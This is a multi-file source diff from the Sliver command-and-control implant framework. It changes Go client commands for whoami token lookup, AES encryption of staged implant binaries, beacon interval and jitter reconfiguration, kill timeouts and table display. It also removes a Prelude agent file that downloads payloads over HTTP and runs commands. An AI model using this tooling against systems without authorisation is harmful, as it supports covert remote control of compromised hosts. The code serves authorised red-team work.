+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
+
+	var isWin bool
+	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
+		if session.GetOS() == "windows" {
+			isWin = true
+		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
+		if beacon.GetOS() == "windows" {
+			isWin = true
+		}
+	}
+
+	if isWin {
+		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if cto.Response != nil && cto.Response.Async {
+			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, cto)
+				if err != nil {
+					con.PrintErrorf("Failed to decode response %s\n", err)
+					return
+				}
+				PrintTokenOwner(cto, con)
+			})
+			con.PrintAsyncResponse(cto.Response)
+		} else {
+			PrintTokenOwner(cto, con)
+		}
 	}
 }
+
+func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
+	if cto.Response != nil && cto.Response.Err != "" {
+		con.PrintErrorf("%s\n", cto.Response.Err)
+		return
+	}
+	con.PrintInfof("Current Token ID: %s", cto.Output)
+}

client/command/jobs/stage.go

@@ -26,6 +26,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -33,6 +34,8 @@ import (
 func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profileName := ctx.Flags.String("profile")
 	listenerURL := ctx.Flags.String("url")
+	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
+	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}
+
+	aesEncrypt := false
+	if aesEncryptKey != "" {
+		// check if aes encryption key is correct length
+		if len(aesEncryptKey)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES Key\n")
+			return
+		}
+
+		// set default aes iv
+		if aesEncryptIv == "" {
+			aesEncryptIv = "0000000000000000"
+		}
+
+		// check if aes iv is correct length
+		if len(aesEncryptIv)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES IV\n")
+			return
+		}
+
+		aesEncrypt = true
+	}
+
 	stage2, err := generate.GetSliverBinary(profile, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
+	if aesEncrypt {
+		stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
+	}
+
 	switch stagingURL.Scheme {
 	case "http":
 		ctrl := make(chan bool)
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
 		return
 	}
+
+	if aesEncrypt {
+		con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
+		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
+	}
 }

client/command/kill/kill.go

@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )
 
@@ -41,12 +42,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		err := KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+		con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 		con.ActiveTarget.Background()
 		return
 	} else if beacon != nil {
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		err := KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	return
 }
 
-func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if session == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			SessionID: session.ID,
+			Timeout:   int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
+	core.Sessions.Remove(session.ID)
 	return err
 }
 
-func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if beacon == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			BeaconID: beacon.ID,
+			Timeout:  int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
 	return err
 

client/command/prelude-operator/connect.go

@@ -23,6 +23,7 @@ import (
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 )
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		AESKey:      aesKey,
 	}
 
-	sessionMapper := prelude.InitSessionMapper(config)
+	implantMapper := prelude.InitImplantMapper(config)
 
 	con.PrintInfof("Connected to Operator at %s\n", url)
 	if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				err = sessionMapper.AddSession(session)
+				if !session.IsDead {
+					err = implantMapper.AddImplant(session, nil)
+					if err != nil {
+						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+					}
+				}
+			}
+			con.PrintInfof("Done !\n")
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Could not get beacon list: %s", err)
+			return
+		}
+		if len(beacons.Beacons) > 0 {
+			con.PrintInfof("Adding existing beacons ...\n")
+			for _, beacon := range beacons.Beacons {
+				err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
 				if err != nil {
-					con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
+					con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
 				}
 			}
 			con.PrintInfof("Done !\n")

client/command/prelude-operator/operator.go

@@ -25,8 +25,8 @@ import (
 )
 
 func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.SessionMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
+	if prelude.ImplantMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
 		return
 	}
 	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")

client/command/processes/terminate.go

@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Pid:     int32(pid),
 		Force:   ctx.Flags.Bool("force"),
 	})
+	if err != nil {
+		con.PrintErrorf("Terminate failed: %s", err)
+		return
+	}
 
 	if terminated.Response != nil && terminated.Response.Async {
 		con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {

client/command/reconfig/README.md

@@ -0,0 +1,4 @@
+Reconfig
+=========
+
+Commands used to reconfigure beacon/session times and metadata

client/command/reconfig/reconfig.go

@@ -0,0 +1,96 @@
+package reconfig
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ReconfigCmd - Reconfigure metadata about a sessions
+func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	var err error
+	var reconnectInterval time.Duration
+	if ctx.Flags.String("reconnect-interval") != "" {
+		reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
+		if err != nil {
+			con.PrintErrorf("Invalid reconnect interval: %s\n", err)
+			return
+		}
+	}
+
+	var beaconInterval time.Duration
+	var beaconJitter time.Duration
+	if beacon != nil {
+		if ctx.Flags.String("beacon-interval") != "" {
+			beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon interval: %s\n", err)
+				return
+			}
+		}
+		if ctx.Flags.String("beacon-jitter") != "" {
+			beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon jitter: %s\n", err)
+				return
+			}
+			if beaconInterval == 0 && beaconJitter != 0 {
+				con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
+			}
+		}
+	}
+
+	reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
+		ReconnectInterval: int64(reconnectInterval),
+		BeaconInterval:    int64(beaconInterval),
+		BeaconJitter:      int64(beaconJitter),
+		Request:           con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if reconfig.Response != nil && reconfig.Response.Async {
+		con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, reconfig)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			con.PrintInfof("Reconfigured beacon\n")
+		})
+		con.PrintAsyncResponse(reconfig.Response)
+	} else {
+		con.PrintInfof("Reconfiguration complete\n")
+	}
+}

client/command/reconfig/rename.go

@@ -1,8 +1,8 @@
-package sessions
+package reconfig
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,18 +21,16 @@ package sessions
 import (
 	"context"
 	"regexp"
-	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-
 	"github.com/desertbit/grumble"
 )
 
-// SessionsReconfigCmd - Reconfigure metadata about a sessions
-func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+// RecnameCmd - Reconfigure metadata about a sessions
+func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		}
 	}
 
-	// Option to change the reconnect interval
-	reconnect := ctx.Flags.Int("reconnect")
-
-	// Option to change the reconnect interval
-	poll := ctx.Flags.Int("poll")
-
-	oldSession := con.ActiveTarget.GetSession()
-	session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-		SessionID:         oldSession.ID,
-		Name:              name,
-		ReconnectInterval: int64(reconnect) * int64(time.Second),
-		PollInterval:      int64(poll) * int64(time.Second),
+	var beaconID string
+	var sessionID string
+	if beacon != nil {
+		beaconID = beacon.ID
+	} else if session != nil {
+		sessionID = session.ID
+	}
+	_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
+		SessionID: sessionID,
+		BeaconID:  beaconID,
+		Name:      name,
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	con.ActiveTarget.Set(session, nil)
+	con.PrintInfof("Renamed implant to %s\n", name)
+	con.ActiveTarget.Set(nil, nil)
 }

client/command/sessions/helpers.go

@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
 	for _, session := range sessions.Sessions {
 		keys = append(keys, session.ID)
 	}
-	sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+	sort.Strings(keys)
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)

client/command/sessions/interactive.go

@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}
 			c2s = append(c2s, wgC2...)
+		case "https":
+			fallthrough
 		case "http":
 			httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
 			if err != nil {

client/command/sessions/prune.go

@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
 			con.Printf("Pruning session %s ... ", session.ID)
-			err = kill.KillSession(session, true, con)
+			err = kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.Printf("failed!\n")
 				con.PrintErrorf("%s\n", err)

client/command/sessions/sessions.go

@@ -31,6 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
 )
 
 // SessionsCmd - Display/interact with sessions
@@ -50,12 +51,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if killAll {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
-			err := kill.KillSession(session, true, con)
+			err := kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 			}
 			con.Println()
-			con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+			con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 		}
 		return
 	}
@@ -64,12 +65,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
-				err := kill.KillSession(session, true, con)
+				err := kill.KillSession(session, ctx, con)
 				if err != nil {
 					con.PrintErrorf("%s\n", err)
 				}
 				con.Println()
-				con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+				con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 			}
 		}
 		return
@@ -80,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
 		}
-		err := kill.KillSession(session, true, con)
+		err := kill.KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 		}
@@ -110,19 +111,38 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PrintSessions - Print the current sessions
 func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Name",
-		"Transport",
-		"Remote Address",
-		"Hostname",
-		"Username",
-		"Operating System",
-		"Last Check-in",
-		"Health",
-	})
+
+	if con.Settings.SmallTermWidth < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Check-in",
+			"Health",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Health",
+		})
+	}
+
 	tw.SortBy([]table.SortBy{
 		{Name: "ID", Mode: table.Asc},
 	})
@@ -142,17 +162,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		if session.Burned {
 			burned = "🔥"
 		}
-		tw.AppendRow(table.Row{
-			fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Name),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
-			fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Username),
-			fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-			fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
-			burned + SessionHealth,
-		})
+		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
+
+		if con.Settings.SmallTermWidth < width {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				burned + SessionHealth,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				burned + SessionHealth,
+			})
+		}
 	}
 
 	con.Printf("%s\n", tw.Render())

client/command/settings/settings.go

@@ -19,6 +19,8 @@ package settings
 */
 
 import (
+	"strconv"
+
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
 	tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
 	tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
+	tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
+	tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
 	con.Printf("%s\n", tw.Render())
 }
 
+// SettingsAlwaysOverflow - Toggle always overflow
+func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
+	con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
+}
+
+// SettingsSmallTerm - Modify small terminal width value
+func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	result := ""
+	prompt := &survey.Input{Message: "Set small width:"}
+	err = survey.AskOne(prompt, &result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	newWidth, err := strconv.Atoi(result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if newWidth < 1 {
+		con.PrintErrorf("Invalid width (too small)\n")
+		return
+	}
+	con.Settings.SmallTermWidth = newWidth
+	con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
+}
+
 // SettingsTablesCmd - The client settings command
 func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var err error

client/command/settings/tables.go

@@ -27,7 +27,7 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 )
 
 var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
 func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
 	renderedTable := tw.Render()
 	lineCount := strings.Count(renderedTable, "\n")
-	if !overflow {
+	if !overflow || con.Settings.AlwaysOverflow {
 		// Only paginate if the number of lines is at least 2x the terminal height
-		width, height, err := terminal.GetSize(0)
+		width, height, err := term.GetSize(0)
 		if err == nil && 2*height < lineCount {
 			if 7 < height {
 				tw.SetPageSize(height - 6)

client/command/tasks/fetch.go

@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintLs(ls, flags, "", con)
 
+	case sliverpb.MsgMvReq:
+		mv := &sliverpb.Mv{}
+		err := proto.Unmarshal(task.Response, mv)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgMkdirReq:
 		mkdir := &sliverpb.Mkdir{}
 		err := proto.Unmarshal(task.Response, mkdir)
@@ -446,6 +454,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)
 
+	case sliverpb.MsgCurrentTokenOwnerReq:
+		cto := &sliverpb.CurrentTokenOwner{}
+		err := proto.Unmarshal(task.Response, cto)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)

client/command/use/use.go

@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
 	}
 	if err == nil {
 		for _, session := range sessions.Sessions {
-			if session.ID == id {
+			if strings.HasPrefix(session.ID, id) {
 				return session, nil, nil
 			}
 		}

client/console/console.go

@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 
 			// Prelude Operator
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.AddSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(session, nil)
 				if err != nil {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				con.PrintEventErrorf("Active session disconnected")
 				con.App.SetPrompt(con.GetPrompt())
 			}
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.RemoveSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.RemoveImplant(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not remove session from Operator: %s", err)
 				}
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
 
+			// Prelude Operator
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
+				if err != nil {
+					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
+				}
+			}
+
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
 		}

client/constants/constants.go

@@ -167,6 +167,7 @@ const (
 	ExecuteStr = "execute"
 
 	LsStr       = "ls"
+	MvStr       = "mv"
 	RmStr       = "rm"
 	MkdirStr    = "mkdir"
 	CdStr       = "cd"

client/prelude/agent-session.go

@@ -1,166 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"bytes"
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-type AgentSession struct {
-	Conn    *net.Conn
-	Session *clientpb.Session
-	RPC     rpcpb.SliverRPCClient
-	Beacon  Beacon
-	Config  AgentConfig
-}
-
-func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
-	return &AgentSession{
-		Conn:    c,
-		Session: s,
-		RPC:     rpc,
-		Config:  conf,
-		Beacon:  b,
-	}
-}
-
-func (a *AgentSession) ReceiveLoop() {
-	for {
-		err := a.send()
-		if err != nil {
-			return
-		}
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			message := strings.TrimSpace(scanner.Text())
-			err = a.respond(message)
-			if err != nil {
-				return
-			}
-		}
-	}
-}
-
-func (a *AgentSession) send() error {
-	data, err := json.Marshal(a.Beacon)
-	if err != nil {
-		return err
-	}
-	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
-	sendBuffer := make([]byte, 1024)
-	for {
-		_, err := dataBuff.Read(sendBuffer)
-		if err == io.EOF {
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
-			return err
-		}
-		time.Sleep(time.Duration(a.Beacon.Sleep))
-	}
-}
-
-func (a *AgentSession) respond(message string) error {
-	var tempBeacon Beacon
-	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
-		a.Beacon.Links = a.Beacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-	a.refreshBeacon(&a.Config)
-	a.send()
-	return nil
-}
-
-func (a *AgentSession) runLinks(tempBeacon *Beacon) {
-	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		var payload []byte
-		if link.Payload != "" {
-			payload, _ = requestPayload(link.Payload)
-		}
-		response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		a.Beacon.Links = append(a.Beacon.Links, link)
-		a.Config.EndInstruction(link)
-	}
-}
-
-func requestPayload(target string) ([]byte, error) {
-	resp, err := http.Get(target)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
-	}
-	return ioutil.ReadAll(resp.Body)
-}
-
-func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Session),
